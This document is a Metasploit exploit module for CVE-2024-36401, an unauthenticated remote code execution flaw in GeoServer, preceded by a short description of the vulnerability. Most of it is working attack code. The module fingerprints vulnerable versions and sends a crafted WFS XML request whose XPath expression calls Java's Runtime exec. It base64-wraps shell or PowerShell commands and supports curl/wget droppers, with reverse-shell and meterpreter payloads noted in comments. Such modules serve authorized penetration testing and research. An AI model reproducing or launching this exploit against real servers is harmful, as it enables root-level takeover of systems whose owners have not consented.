GeoServer is an open-source software server written in Java that provides the ability to view, edit, and share geospatial data. It is designed to be a flexible, efficient solution for distributing geospatial data from a variety of sources such as Geographic Information System (GIS) databases, web-based data, and personal datasets. In the GeoServer versions before 2.23.6, greater than or equal to 2.24.0, before 2.24.4 and greater than equal to 2.25.0, and before 2.25.1, multiple OGC request parameters allow remote code execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions. An attacker can abuse this by sending a POST request with a malicious xpath expression to execute arbitrary commands as root on the system.
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Geoserver unauthenticated Remote Code Execution',
'Description' => %q{
GeoServer is an open-source software server written in Java that provides
the ability to view, edit, and share geospatial data.
It is designed to be a flexible, efficient solution for distributing geospatial data
from a variety of sources such as Geographic Information System (GIS) databases,
web-based data, and personal datasets.
In the GeoServer versions < 2.23.6, >= 2.24.0, < 2.24.4 and >= 2.25.0, < 2.25.1,
multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users
through specially crafted input against a default GeoServer installation due to unsafely
evaluating property names as XPath expressions.
An attacker can abuse this by sending a POST request with a malicious xpath expression
to execute arbitrary commands as root on the system.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
'jheysel-r7', # MSF module Windows support
'Steve Ikeoka' # Discovery
],
'References' => [
['CVE', '2024-36401'],
['URL', 'https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401'],
['URL', 'https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401']
],
'DisclosureDate' => '2024-07-01',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
# Tested with cmd/unix/reverse_bash
}
],
[
'Linux Dropper',
{
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],
'Type' => :linux_dropper,
'Linemax' => 16384,
'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne']
# Tested with linux/x64/meterpreter_reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => ['Windows'],
'Arch' => ARCH_CMD,
'Type' => :win_cmd
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8080,
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/'])
]
)
end
def check_version
print_status('Trying to detect if target is running a vulnerable version of GeoServer.')
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path, 'geoserver', 'web', 'wicket', 'bookmarkable', 'org.geoserver.web.AboutGeoServerPage'),
'keep_cookies' => true,
'method' => 'GET'
})
return nil unless res && res.code == 200 && res.body.include?('GeoServer Version')
html = res.get_html_document
unless html.blank?
# html identifier for Geoserver version information: <span id="version">2.23.2</span>
version = html.css('span[id="version"]')
return Rex::Version.new(version[0].text) unless version[0].nil?
end
nil
end
def get_valid_featuretype
allowed_feature_types = ['sf:archsites', 'sf:bugsites', 'sf:restricted', 'sf:roads', 'sf:streams', 'ne:boundary_lines', 'ne:coastlines', 'ne:countries', 'ne:disputed_areas', 'ne:populated_places']
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),
'method' => 'GET',
'ctype' => 'application/xml',
'keep_cookies' => true,
'vars_get' => {
'request' => 'ListStoredQueries',
'service' => 'wfs'
}
})
return nil unless res && res.code == 200 && res.body.include?('ListStoredQueriesResponse')
xml = res.get_xml_document
unless xml.blank?
xml.remove_namespaces!
# get all the FeatureTypes and store them in an array of strings
retrieved_feature_types = xml.xpath('//ReturnFeatureType')
# shuffle the retrieved_feature_types array, and loop through the list of retrieved_feature_types from GeoServer
# return the feature type if a match is found in the allowed_feature_types array
retrieved_feature_types.to_a.shuffle.each do |feature_type|
return feature_type.text if allowed_feature_types.include?(feature_type.text)
end
end
nil
end
def create_payload(cmd)
# get a valid feature type and fail back to a default if not successful
feature_type = get_valid_featuretype
feature_type = 'sf:archsites' if feature_type.nil?
case target['Type']
when :unix_cmd || :linux_dropper
# create customised b64 encoded payload
# 'Encoder' => 'cmd/base64' does not work in this particular use case
cmd_b64 = Base64.strict_encode64(cmd)
cmd = "sh -c echo${IFS}#{cmd_b64}|base64${IFS}-d|sh"
when :win_cmd
enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE'))
cmd = "powershell.exe -e #{enc_cmd}"
end
return <<~EOS
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames="#{feature_type}"/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(), "#{cmd}")</wfs:valueReference>
</wfs:GetPropertyValue>
EOS
end
def execute_command(cmd, _opts = {})
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),
'method' => 'POST',
'ctype' => 'application/xml',
'keep_cookies' => true,
'data' => create_payload(cmd)
})
fail_with(Failure::PayloadFailed, 'Payload execution failed.') unless res && res.code == 400 && res.body.include?('ClassCastException')
end
def check
version_number = check_version
return CheckCode::Unknown('Could not retrieve the version information.') if version_number.nil?
return CheckCode::Appears("Version #{version_number}") if version_number.between?(Rex::Version.new('2.25.0'), Rex::Version.new('2.25.1')) || version_number.between?(Rex::Version.new('2.24.0'), Rex::Version.new('2.24.3')) || version_number < Rex::Version.new('2.23.6')
CheckCode::Safe("Version #{version_number}")
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd, :win_cmd
execute_command(payload.encoded)
when :linux_dropper
# don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_cmdstager({ linemax: target.opts['Linemax'] })
end
end
end